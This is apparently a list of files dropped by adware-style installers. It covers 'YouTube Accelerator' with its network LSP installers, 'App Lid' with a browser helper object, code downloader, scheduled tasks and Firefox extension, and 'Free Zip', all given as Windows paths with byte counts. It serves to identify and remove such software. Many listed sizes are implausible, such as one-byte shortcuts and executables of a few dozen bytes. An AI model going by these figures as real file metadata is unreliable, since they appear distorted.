C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\872632d4dba5c171e72a42614d2bf42b.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\background.js (640 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\d2eb933c47d0580044f729e920ee557c.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\a5d8eadabd69a1a5fd8936768f25760f.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\f4df6139b485e8441ead85439d9b0e50.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\c262c0e9c94427dc9ed88ee28c1a65df.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\527da7a7cda8dba99ce791702fd18eae.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\0cb63f7cf6b8159c4f9788d9ed18275e.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\263.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\4d651c7925db39b85b6a733479754503.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\246.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\17f548e3cc7f3ff5ea90135d36d5617d.js (804 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7581 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (115350 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14310 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJ1A92.tmp (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLK1C96.tmp (1604 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLC1A82.tmp (3791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLG22A2.tmp (90922 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (24 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (5381 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLF22A3.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLM1E9A.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelper.exe (44331 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (4742 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LangPackU.cab (45 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (9304 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLB1A53.tmp (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\StdUtils.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\28.js (536 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\301.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\11a9fc6b-cfbc-4d3c-943b-7e1062933d01-4.dll (46278 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\354.js (4992 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\183.js (2 bytes)
%Program Files% (x86)\App Lid\App Lid-bho.dll (4545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\ExecDos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\253.js (737 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\14.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\94.js (1 bytes)
C:\Windows\Tasks\11a9fc6b-cfbc-4d3c-943b-7e1062933d01-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\38.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\64.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\220.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\182.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\53049 (17985 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\37.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\255.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\35.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\288.js (553 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\9.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\104.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\184626 (243819 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\207.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\180.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\40.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\md5dll.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\manifest[1].xml (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\200.js (809 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\281.js (485 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\InstallerUtils.dll (28539 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\246.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\22.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\234.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\nsisos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\47.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\43.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\78.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\userCode\extension.js (354 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\21.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\39.js (4 bytes)
%Program Files% (x86)\App Lid\App Lid-buttonutil64.dll (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\manifest.xml (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\13.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\262.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\1.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\2.js (63 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\45.js (1 bytes)
%Program Files% (x86)\App Lid\App Lid-buttonutil64.exe (2105 bytes)
%Program Files% (x86)\App Lid\11a9fc6b-cfbc-4d3c-943b-7e1062933d01-5.exe (7433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\91.js (6584 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\72.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\184.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\InstallerUtils2.dll (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\3.js (63 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\userCode\background.js (636 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\177.js (784 bytes)
%Program Files% (x86)\App Lid\utils.exe (90899 bytes)
%Program Files% (x86)\App Lid\11a9fc6b-cfbc-4d3c-943b-7e1062933d01-4.exe (8330 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\11a9fc6b-cfbc-4d3c-943b-7e1062933d01-1.dll (33295 bytes)
%Program Files% (x86)\App Lid\App Lid-codedownloader.exe (8319 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\195.js (410 bytes)
C:\Windows\Tasks\11a9fc6b-cfbc-4d3c-943b-7e1062933d01-5_user.job (74 bytes)
%Program Files% (x86)\App Lid\background.html (729 bytes)
%Program Files% (x86)\App Lid\11a9fc6b-cfbc-4d3c-943b-7e1062933d01.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\102.js (1 bytes)
%Program Files% (x86)\App Lid\App Lid-bho64.dll (5873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\242.js (1 bytes)
%Program Files% (x86)\App Lid\Uninstall.exe (601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\ipgeoapi_com[1].json (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\46.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\36.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\41.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\44.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\17.js (2392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\221.js (415 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\4.js (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\7.js (685 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins.json (15 bytes)
%Program Files% (x86)\App Lid\App Lid-bg.exe (4185 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\345.js (607 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\252.js (1 bytes)
C:\Windows\Tasks\11a9fc6b-cfbc-4d3c-943b-7e1062933d01-1.job (77 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuDF5.tmp (718555 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\System.dll (23 bytes)
%Program Files% (x86)\App Lid\App Lid-buttonutil.exe (1425 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\223.js (825 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\263.js (1 bytes)
%Program Files% (x86)\App Lid\App Lid-buttonutil.dll (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\42.js (7 bytes)
%Program Files% (x86)\App Lid\App Lid.ico (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\SMALLTEST[1].htm (70 bytes)
%Program Files% (x86)\Free Zip\Uninstall.exe (255 bytes)
%Program Files% (x86)\Free Zip\Lang\ta.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\si.txt (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFFC3.tmp\InstallOptions.dll (30 bytes)
%Program Files% (x86)\Free Zip\Lang\da.txt (12 bytes)
%Program Files% (x86)\Free Zip\Lang\th.txt (784 bytes)
%Program Files% (x86)\Free Zip\7zFM.exe (15990 bytes)
%Program Files% (x86)\Free Zip\Lang\nl.txt (14 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Free Zip\Free Zip File Manager.lnk (1 bytes)
%Program Files% (x86)\Free Zip\Lang\is.txt (12 bytes)
%Program Files% (x86)\Free Zip\Lang\ne.txt (784 bytes)
%Program Files% (x86)\Free Zip\7z.sfx (6584 bytes)
%Program Files% (x86)\Free Zip\Lang\pa-in.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\cs.txt (14 bytes)
%Program Files% (x86)\Free Zip\Lang\mn.txt (14 bytes)
%Program Files% (x86)\Free Zip\Lang\lt.txt (13 bytes)
%Program Files% (x86)\Free Zip\history.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\it.txt (14 bytes)
%Program Files% (x86)\Free Zip\Lang\fur.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\fy.txt (12 bytes)
%Program Files% (x86)\Free Zip\Lang\fr.txt (14 bytes)
%Program Files% (x86)\Free Zip\Lang\sr-spl.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\el.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\sk.txt (14 bytes)
%Program Files% (x86)\Free Zip\License.txt (1 bytes)
%Program Files% (x86)\Free Zip\Lang\ps.txt (15 bytes)
%Program Files% (x86)\Free Zip\Lang\ca.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\pt.txt (14 bytes)
%Program Files% (x86)\Free Zip\Lang\uk.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\uz.txt (10 bytes)
%Program Files% (x86)\Free Zip\Lang\bn.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\sl.txt (12 bytes)
%Program Files% (x86)\Free Zip\Lang\va.txt (12 bytes)
%Program Files% (x86)\Free Zip\Lang\cy.txt (10 bytes)
%Program Files% (x86)\Free Zip\Lang\fa.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\sa.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\af.txt (10 bytes)
%Program Files% (x86)\Free Zip\Lang\zh-tw.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\lv.txt (10 bytes)
%Program Files% (x86)\Free Zip\Lang\mk.txt (15 bytes)
%Program Files% (x86)\Free Zip\Lang\eu.txt (12 bytes)
%Program Files% (x86)\Free Zip\7z.exe (7192 bytes)
%Program Files% (x86)\Free Zip\Lang\sr-spc.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\gl.txt (10 bytes)
%Program Files% (x86)\Free Zip\Lang\ku.txt (11 bytes)
%Program Files% (x86)\Free Zip\7z.dll (29608 bytes)
%Program Files% (x86)\Free Zip\Lang\ka.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\ku-ckb.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\ru.txt (784 bytes)
